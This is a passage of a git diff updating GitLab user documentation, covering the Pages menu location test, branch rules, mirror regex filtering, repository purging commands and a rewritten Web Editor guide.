**Remove** on your domain. 1. [Add the domain again and verify it](index.md#1-add-a-custom-domain). 1. [Enable Let's Encrypt integration for your domain](#enabling-lets-encrypt-integration-for-your-custom-domain). diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md index 339ab239588..e0448621c6a 100644 --- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md +++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md @@ -28,7 +28,8 @@ If everything is configured correctly, the site can take approximately 30 minute To view the pipeline, go to **CI/CD > Pipelines**. When the pipeline is finished, go to **Settings > Pages** to find the link to -your Pages website. +your Pages website. (Note: this may also be +located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md index 9841e52a089..e1a245851cb 100644 --- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md +++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md @@ -24,7 +24,9 @@ To fork a sample project and create a Pages website: GitLab CI/CD builds and deploys your site. The site can take approximately 30 minutes to deploy. -When the pipeline is finished, go to **Settings > Pages** to find the link to your website from your project. +When the pipeline is finished, go to **Settings > Pages** to find the link +to your website from your project. (Note: this may also be +located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md index ebadf39a984..82e544b0701 100644 --- a/doc/user/project/pages/getting_started/pages_from_scratch.md +++ b/doc/user/project/pages/getting_started/pages_from_scratch.md @@ -27,7 +27,7 @@ To create a GitLab Pages website: ## Prerequisites -You must have a [blank project](../../working_with_projects.md#create-a-blank-project) in GitLab. +You must have a [blank project](../../index.md#create-a-blank-project) in GitLab. ## Create the project files @@ -176,7 +176,8 @@ deploy your website: 1. Save and commit the `.gitlab-ci.yml` file. 1. Go to **CI/CD > Pipelines** to watch the pipeline. 1. When the pipeline succeeds, go to **Settings > Pages** - to view the URL where your site is now available. + to view the URL where your site is now available. (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) When this `pages` job completes successfully, a special `pages:deploy` job appears in the pipeline view. It prepares the content of the website for the diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md index a0f9753a40c..a9988b1fb99 100644 --- a/doc/user/project/pages/getting_started/pages_new_project_template.md +++ b/doc/user/project/pages/getting_started/pages_new_project_template.md @@ -24,7 +24,8 @@ configured to generate a Pages site. site. When the pipeline is finished, go to **Settings > Pages** to find the link to -your Pages website. +your Pages website. (Note: this may also be +located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_ui.md b/doc/user/project/pages/getting_started/pages_ui.md index a6069b473e6..984c8e5c619 100644 --- a/doc/user/project/pages/getting_started/pages_ui.md +++ b/doc/user/project/pages/getting_started/pages_ui.md @@ -34,8 +34,10 @@ a pipeline deploys your Pages website. To complete the setup and generate a GitLab Pages deployment: 1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > Pages**. A **Get Started with Pages** form appears. - If this form is not available, see [Troubleshooting](#if-the-get-started-with-pages-form-is-not-available). +1. On the left sidebar, select **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). + A **Get Started with Pages** form appears. If this form is not available, + see [Troubleshooting](#if-the-get-started-with-pages-form-is-not-available). 1. For **Step 1**, enter an image name and verify that your files are in a `public` folder. 1. Select **Next**. 1. For **Step 2**, enter your installation steps. If your framework's build process does not diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index 9305b92bf7d..89d8fd093b2 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -34,6 +34,13 @@ Pages does not support dynamic server-side processing, for instance, as `.php` a Learn more about [static websites compared to dynamic websites](https://about.gitlab.com/blog/2016/06/03/ssg-overview-gitlab-pages-part-1-dynamic-x-static/). +## Menu Position Test + +NOTE: +We are currently conducting an A/B test where some users may see the Pages +Menu entry under "Deployments" instead of "Settings". We think that this may +be a more accurate position. Feel free to add any feedback to [the experiment issue](https://gitlab.com/gitlab-org/gitlab/-/issues/373547). + ## Getting started To create a GitLab Pages website: diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index ab97ff08123..b0754e74314 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -38,6 +38,8 @@ Administrators can set a default branch protection level in the Prerequisite: - You must have at least the Maintainer role. +- When granting a group **Allowed to merge** or **Allowed to push** permissions + on a protected branch, the group must be added to the project. To protect a branch: diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index a73a5329688..d12a71c9ab3 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -86,7 +86,7 @@ threads. Some quick actions might not be available to all subscription tiers. | `/move <path/to/project>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Move this issue to another project. Be careful when moving an issue to a project with different access rules. Before moving the issue, make sure it does not contain sensitive data. | | `/parent_epic <epic>` | **{dotted-circle}** No | **{dotted-circle}** No | **{check-circle}** Yes | Set parent epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10556) in GitLab 12.1). | | `/promote` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to epic. | -| `/promote_to_incident` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5). | +| `/promote_to_incident` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5). In [GitLab 15.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/376760), you can also use the quick action when creating a new issue. | | `/page <policy name>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Start escalations for the incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/79977) in GitLab 14.9). | | `/publish` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Publish issue to an associated [Status Page](../../operations/incident_management/status_page.md) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906) in GitLab 13.0) | | `/ready` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Set the [ready status](merge_requests/drafts.md#mark-merge-requests-as-ready) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/90361) in GitLab 15.1). | diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 6d5378bddb7..7c2d5088f17 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -132,7 +132,7 @@ release: ``` The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a -[custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), +[custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. diff --git a/doc/user/project/remote_development/index.md b/doc/user/project/remote_development/index.md index 62220dd2fde..1abcca547db 100644 --- a/doc/user/project/remote_development/index.md +++ b/doc/user/project/remote_development/index.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Remote Development **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.4 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default. FLAG: On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available. The feature is not ready for production use. @@ -22,7 +22,7 @@ As with all projects, the items mentioned on this page are subject to change or The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc. -You can use the [Web IDE](../web_ide/index.md) to commit changes to a project directly from your web browser without installing any dependencies or cloning any repositories. The Web IDE, however, lacks a native runtime environment on which you would compile code, run tests, or generate real-time feedback in the IDE. For a more complete IDE experience, you can pair the Web IDE with a Remote Development environment that has been properly configured to run as a host. +You can use the [Web IDE](../web_ide/index.md) to commit changes to a project directly from your web browser without installing any dependencies or cloning any repositories. The Web IDE, however, lacks a native runtime environment on which you would compile code, run tests, or generate real-time feedback in the IDE. For a more complete IDE experience, you can pair the [Web IDE Beta](../web_ide_beta/index.md) with a Remote Development environment that has been properly configured to run as a host. ## Connect a remote machine to the Web IDE @@ -81,7 +81,7 @@ To connect a development environment to the Web IDE: 1. [Create a development environment](#manage-a-development-environment). 1. [Fetch a token](#fetch-a-token). -1. [Connect to the Web IDE](#connect-to-the-web-ide). +1. [Configure a remote connection](#configure-a-remote-connection). #### Manage a development environment @@ -134,9 +134,18 @@ To remove a development environment: docker exec my-environment cat TOKEN ``` -#### Connect to the Web IDE +#### Configure a remote connection -To connect to the Web IDE: +To configure a remote connection from the Web IDE: + +1. Open the Web IDE. +1. In the Menu Bar, select **View > Terminal** or press <kbd>Control</kbd>+<kbd>`</kbd>. +1. In the terminal panel, select **Configure a remote connection**. +1. Enter the URL for the remote host including the port (for example, `yourdomain.com:3443`). +1. Enter the project path. +1. Enter the [token you fetched](#fetch-a-token). + +Alternatively, you can pass the parameters from a URL and connect directly to the Web IDE: 1. Run the following command: @@ -145,3 +154,7 @@ To connect to the Web IDE: ``` 1. Go to that URL and enter the [token you fetched](#fetch-a-token). + +## Related topics + +- [Web IDE Beta](../web_ide_beta/index.md) diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index a86e32b4721..4e3510c49b7 100644 --- a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -27,7 +27,7 @@ For more information on managing branches using the GitLab UI, see: - [Default branches](default.md): When you create a new [project](../../index.md), GitLab creates a default branch for the repository. You can change this setting at the project, subgroup, group, or instance level. -- [Create a branch](../web_editor.md#create-a-new-branch) +- [Create a branch](../web_editor.md#create-a-branch) - [Protected branches](../../protected_branches.md#protected-branches) - [Delete merged branches](#delete-merged-branches) - [Branch filter search box](#branch-filter-search-box) @@ -119,6 +119,30 @@ The Swap revisions feature allows you to swap the Source and Target revisions. W  +## View branches with configured protections **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88279) in GitLab 15.1 with a flag named `branch_rules`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../feature_flags.md) named `branch_rules`. +On GitLab.com, this feature is not available. +This feature is not ready for production use. + +Branches in your repository can be [protected](../../protected_branches.md) by limiting +who can push to a branch, require approval for those pushed changes, or merge those changes. +To help you track the protections for all branches, the **Branch rules overview** +page shows your branches with their configured rules. + +To view the **Branch rules overview** list: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Repository**. +1. Expand **Branch Rules** to view all branches with protections. +1. Select **Details** next to your desired branch to show information about its: + - [Branch protections](../../protected_branches.md). + - [Approval rules](../../merge_requests/approvals/rules.md). + - [Status checks](../../merge_requests/status_checks.md). + ## Troubleshooting ### Error: ambiguous `HEAD` branch exists diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md index 08fe767f9c9..321b9a5eb53 100644 --- a/doc/user/project/repository/git_history.md +++ b/doc/user/project/repository/git_history.md @@ -21,6 +21,10 @@ When you select **History**, this information is displayed: If you hover over a commit in the UI, the precise date and time of the commit modification are shown. +The name and email information provided are retrieved from the +[Git configuration](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration) +of the contributor when a commit is made. + ## Associated `git` command If you're running `git` from the command line, the equivalent command diff --git a/doc/user/project/repository/img/web_editor_line_link_v13_10.png b/doc/user/project/repository/img/web_editor_line_link_v13_10.png Binary files differdeleted file mode 100644 index 36347afcbe8..00000000000 --- a/doc/user/project/repository/img/web_editor_line_link_v13_10.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png Binary files differdeleted file mode 100644 index df5e803d77a..00000000000 --- a/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png Binary files differdeleted file mode 100644 index fae0fc1425b..00000000000 --- a/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png Binary files differdeleted file mode 100644 index 732173d9c1b..00000000000 --- a/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png Binary files differdeleted file mode 100644 index cba15631fa8..00000000000 --- a/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png b/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png Binary files differdeleted file mode 100644 index 1f7a6263d9a..00000000000 --- a/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png Binary files differdeleted file mode 100644 index bbdb9bca199..00000000000 --- a/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png Binary files differdeleted file mode 100644 index 1a92555457a..00000000000 --- a/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png b/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png Binary files differdeleted file mode 100644 index 3c568e304b2..00000000000 --- a/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_push_widget.png b/doc/user/project/repository/img/web_editor_new_push_widget.png Binary files differdeleted file mode 100644 index 8957b5d6a6b..00000000000 --- a/doc/user/project/repository/img/web_editor_new_push_widget.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_tag_dropdown.png b/doc/user/project/repository/img/web_editor_new_tag_dropdown.png Binary files differdeleted file mode 100644 index 33e8ed891b5..00000000000 --- a/doc/user/project/repository/img/web_editor_new_tag_dropdown.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_new_tag_page.png b/doc/user/project/repository/img/web_editor_new_tag_page.png Binary files differdeleted file mode 100644 index d6d9945397c..00000000000 --- a/doc/user/project/repository/img/web_editor_new_tag_page.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_start_new_merge_request.png b/doc/user/project/repository/img/web_editor_start_new_merge_request.png Binary files differdeleted file mode 100644 index 85f4769661a..00000000000 --- a/doc/user/project/repository/img/web_editor_start_new_merge_request.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png b/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png Binary files differdeleted file mode 100644 index 4608843b1f4..00000000000 --- a/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png b/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png Binary files differdeleted file mode 100644 index ecc4d8e8716..00000000000 --- a/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png b/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png Binary files differdeleted file mode 100644 index 5a5562ed38c..00000000000 --- a/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png b/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png Binary files differdeleted file mode 100644 index 632f591e25a..00000000000 --- a/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png Binary files differdeleted file mode 100644 index ad949aae8ce..00000000000 --- a/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png +++ /dev/null diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index 83389c15eba..3c33467df3f 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -15,7 +15,7 @@ Each [project](../index.md) contains a repository. To create a repository, you can: -- [Create a project](../../../user/project/working_with_projects.md#create-a-project) or +- [Create a project](../../../user/project/index.md#create-a-project) or - [Fork an existing project](forking_workflow.md). ## Add files to a repository @@ -264,9 +264,7 @@ to fetch configuration from a project that is renamed or moved. - [Repository API](../../../api/repositories.md). - [Find files](file_finder.md) in a repository. - [Branches](branches/index.md). -- [File templates](web_editor.md#template-dropdowns). - [Create a directory](web_editor.md#create-a-directory). -- [Start a merge request](web_editor.md#tips). - [Find file history](git_history.md). - [Identify changes by line (Git blame)](git_blame.md). - [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md). diff --git a/doc/user/project/repository/mirror/index.md b/doc/user/project/repository/mirror/index.md index 2b578977bd2..bc0073e6ec8 100644 --- a/doc/user/project/repository/mirror/index.md +++ b/doc/user/project/repository/mirror/index.md @@ -105,6 +105,20 @@ non-protected branches in the mirroring project are not mirrored and can diverge To use this option, select **Only mirror protected branches** when you create a repository mirror. +## Mirror specific branches + +> Mirroring branches matching a regex [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../../../../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../../../../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. + +To mirror only branches with names matching an [re2 regular expression](https://github.com/google/re2/wiki/Syntax), +enter a regular expression into the **Mirror specific branches** field. Branches with names that +do not match the regular expression are not mirrored. + ## Authentication methods for mirrors When you create a mirror, you must configure the authentication method for it. diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index 9c977e4da40..a8a79591e9e 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -63,7 +63,7 @@ To purge files from a GitLab repository: 1. Clone a fresh copy of the repository from the bundle using `--bare` and `--mirror` options: ```shell - git clone --bare --mirror /path/to/project.bundle + git clone --bare /path/to/project.bundle ``` 1. Go to the `project.git` directory: @@ -84,7 +84,7 @@ To purge files from a GitLab repository: ```shell # Using git filter-repo git filter-repo --analyze - head .git/filter-repo/analysis/*-{all,deleted}-sizes.txt + head filter-repo/analysis/*-{all,deleted}-sizes.txt # Using git-sizer git-sizer @@ -117,7 +117,7 @@ To purge files from a GitLab repository: You can use the following command to back up each `commit-map` file: ```shell - cp .git/filter-repo/commit-map ./_filter_repo_commit_map_$(date +%s) + cp filter-repo/commit-map ./_filter_repo_commit_map_$(date +%s) ``` Repeat this step and all following steps (including the [repository cleanup](#repository-cleanup) step) diff --git a/doc/user/project/repository/ssh_signed_commits/index.md b/doc/user/project/repository/ssh_signed_commits/index.md index 06affa54a51..85d2ce1d480 100644 --- a/doc/user/project/repository/ssh_signed_commits/index.md +++ b/doc/user/project/repository/ssh_signed_commits/index.md @@ -6,12 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Sign commits with SSH keys **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/343879) in GitLab 15.7 [with a flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`. Enabled by default. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, -ask an administrator to [disable the feature flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`. -On GitLab.com, this feature is available. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/343879) in GitLab 15.7 [with a flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`. Enabled by default. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/384202) in GitLab 15.8. Feature flag `ssh_commit_signatures` removed. Use SSH keys to sign Git commits in the same manner as [GPG signed commits](../gpg_signed_commits/index.md). When you sign commits diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index cc89ca0fb1a..b5b2b8aaae9 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -4,253 +4,118 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Web Editor **(FREE)** +# Web Editor **(FREE)** -Sometimes it's easier to make quick changes directly from the GitLab interface -than to clone the project and use the Git command-line tool. In this feature -highlight, we look at how you can create a new file, directory, branch, or -tag from the file browser. All of these actions are available from a single -dropdown list. +You can use the Web Editor to make changes directly from the GitLab UI instead of +cloning a project and using the command line. -## Create a file - -From a project's files page, select the '+' button to the right of the branch selector. -Choose **New file** from the dropdown list. - - -Enter a filename in the **Filename** box. Then, add file content in the editor -area. Add a descriptive commit message and choose a branch. The branch field -defaults to the branch you were viewing in the file browser. If you enter -a new branch name, a checkbox displays, allowing you to start a new merge -request after you commit the changes. +From the project dashboard or repository, you can: -When you are satisfied with your new file, select **Commit Changes** at the bottom. +- [Create a file](#create-a-file). +- [Edit a file](#edit-a-file). +- [Upload a file](#upload-a-file). +- [Create a directory](#create-a-directory). +- [Create a branch](#create-a-branch). +- [Create a tag](#create-a-tag). - +Your [primary email address](../../../user/profile/index.md#change-the-email-displayed-on-your-commits) +is used by default for any change you commit through the Web Editor. -### Shortcuts +## Create a file -You can use shortcuts when editing a file through the Web Editor. It uses the same shortcuts -as the Web IDE. For details, read the documentation for [Command Palette](../web_ide/index.md#command-palette). +To create a text file in the Web Editor: -### Template dropdowns +1. On the top bar, select **Main menu > Projects** and find your project. +1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). +1. From the dropdown list, select **New file**. +1. Complete the fields. + - From the **Select a template type** dropdown list, you can apply a template to the new file. + - To create a merge request with the new file, ensure the **Start a new merge request with these changes** checkbox is selected. +1. Select **Commit changes**. -When starting a new project, there are some common files that the new project -might need. GitLab displays a message to help you: +## Edit a file - +To edit a file in the Web Editor: -When selecting either `LICENSE` or `.gitignore` and so on, a dropdown displays -to provide you a template that may be suitable for your project: +1. On the top bar, select **Main menu > Projects** and find your project. +1. Go to your file. +1. Next to the display buttons, select **Edit**. - +### Keyboard shortcuts -The license, changelog, contribution guide, or `.gitlab-ci.yml` file can also -be added through a button on the project page. In this example, the license -has already been created, which creates a link to the license itself. +When you [edit a file](#edit-a-file) in the Web Editor, you can use the same keyboard shortcuts for the Web IDE. +See the [available shortcuts](../../shortcuts.md#web-ide). - +### Preview Markdown -NOTE: -The **Set up CI/CD** button does not appear on an empty repository. For the button -to display, add a file to your repository. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378966) in GitLab 15.6. -## Preview Markdown +To preview Markdown content in the Web Editor: -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378966) in GitLab 15.6. +1. [Edit a file](#edit-a-file). +1. Do one of the following: + - Select the **Preview** tab. + - From the context menu, select **Preview Markdown**. -To preview Markdown content in the Web Editor, select the **Preview** tab. -In this tab, you can see a live Markdown preview that updates as you type alongside your content. +In the **Preview** tab, you can see a live Markdown preview alongside your content. To close the preview panel, do one of the following: - Select the **Write** tab. - From the context menu, select **Hide Live Preview**. -## Highlight lines +### Link to specific lines -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.10 for GitLab SaaS instances. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.11 for self-managed instances. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.11. -Web Editor enables you to highlight a single line by adding specially formatted -hash information to the file path segment of the URL. For example, the file path segment -`MY_FILE.js#L3` instructs the Web Editor to highlight line 3. +To link to single or multiple lines in the Web Editor, add hash +information to the filename segment of the URL. For example: -The Web Editor also enables you to highlight multiple lines using a similar pattern. In -this case, the file path segment `MY_FILE.js#L3-10` instructs the Web Editor to -highlight lines 3 to 10 of the file. +- `MY_FILE.js#L3` highlights line 3 in `MY_FILE.js`. +- `MY_FILE.js#L3-10` highlights lines 3 to 10 in `MY_FILE.js`. -You don't need to construct these lines manually. Instead, you can: +To link to a single line, you can also: -1. Hover over the number of a line you want to be highlighted when sharing. -1. Right-click the number with your mouse. -1. Select **Copy Link Address** in the context menu. - -  +1. [Edit a file](#edit-a-file). +1. Select a line number. ## Upload a file -The ability to create a file is great when the content is text. However, this -doesn't work well for binary data such as images, PDFs, or other binary file types. In -this case, you need to upload a file. - -From a project's files page, select the '+' button to the right of the branch -selector. Choose **Upload file** from the dropdown: - - +To upload a binary file in the Web Editor: -After the upload dialog pops up, there are two ways to upload your file. Either -drag and drop a file on the popup or use the **click to upload** link. After you -select a file to upload, a file preview displays. - -Enter a commit message, choose a branch, and select **Upload file** when you are -ready. - - +1. On the top bar, select **Main menu > Projects** and find your project. +1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). +1. From the dropdown list, select **Upload file**. +1. Complete the fields. To create a merge request with the uploaded file, ensure the **Start a new merge request with these changes** toggle is turned on. +1. Select **Upload file**. ## Create a directory -To keep files in the repository organized it is often helpful to create a new -directory. - -From a project's files page, select the plus button (`+`) to the right of the branch selector. -Choose **New directory** from the dropdown. - - - -In the new directory dialog, enter a directory name, a commit message, and choose -the target branch. Select **Create directory** to finish. - - - -## Create a new branch - -There are multiple ways to create a branch from the GitLab web interface. - -NOTE: -Use [branch naming patterns](branches/index.md#naming) to streamline merge request creation. - -### Create a new branch from an issue - -> The **Create merge request** button [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) to open the merge request creation form in GitLab 14.8. - -If your development workflow requires an issue for every merge -request, you can create a branch directly from the issue to speed the process up. -The new branch, and later its merge request, are marked as related to this issue. -After merging the merge request, the issue is closed automatically, unless [automatic issue closing is disabled](../issues/managing_issues.md#disable-automatic-issue-closing). -You can see a **Create merge request** dropdown below the issue description. - -NOTE: -In GitLab 14.8 and later, selecting **Create merge request** -[redirects to the merge request creation form](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) -instead of immediately creating the merge request. - -The **Create merge request** button doesn't display if: - -- A branch with the same name already exists. -- A merge request already exists for this branch. -- Your project has an active fork relationship. -- Your project is private and the issue is confidential. - -To make this button appear, one possible workaround is to -[remove your project's fork relationship](../settings/index.md#remove-a-fork-relationship). -After removal, the fork relationship cannot be restored. This project can no longer -be able to receive or send merge requests to the source project, or other forks. - - - -This dropdown contains the options **Create merge request and branch** and **Create branch**. - - - -After selecting one of these options, a new branch or branch and merge request -is created based on your project's [default branch](branches/default.md). -The branch name is based on an internal ID, and the issue title. The example -screenshot above creates a branch named -`2-make-static-site-auto-deploy-and-serve`. - -When you select the **Create branch** button in an empty -repository project, GitLab performs these actions: - -- Creates a default branch. -- Commits a blank `README.md` file to it. -- Creates and redirects you to a new branch based on the issue title. -- _If your project is [configured with a deployment service](../integrations/index.md) like Kubernetes,_ - GitLab prompts you to set up [auto deploy](../../../topics/autodevops/stages.md#auto-deploy) - by helping you create a `.gitlab-ci.yml` file. - -After the branch is created, you can edit files in the repository to fix -the issue. When a merge request is created based on the newly-created branch, -the description field displays the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically) -`Closes #ID`, where `ID` is the ID of the issue. This closes the issue when the -merge request is merged. - -### Create a new branch from a project's dashboard - -If you want to make changes to several files before creating a new merge -request, you can create a new branch upfront. - -1. From a project's files page, choose **New branch** from the dropdown list. - -  - -1. Enter a new **Branch name**. -1. Optional. Change the **Create from** field to choose which branch, tag, or - commit SHA this new branch originates from. This field autocompletes if you - start typing an existing branch or tag. -1. To return to the file browser on this new branch, select **Create branch**. - -  - -You can now make changes to any files, as needed. When you're ready to merge -the changes back to your [default branch](branches/default.md), you can use the widget at the top of the screen. -This widget only appears for a period of time after you create the branch or -modify files. - - - -## Create a new tag - -Tags help you mark major milestones such as production releases and -release candidates. You can create a tag from a branch or a commit -SHA: - -1. From a project's files page, choose **New tag** from the dropdown list. - -  - 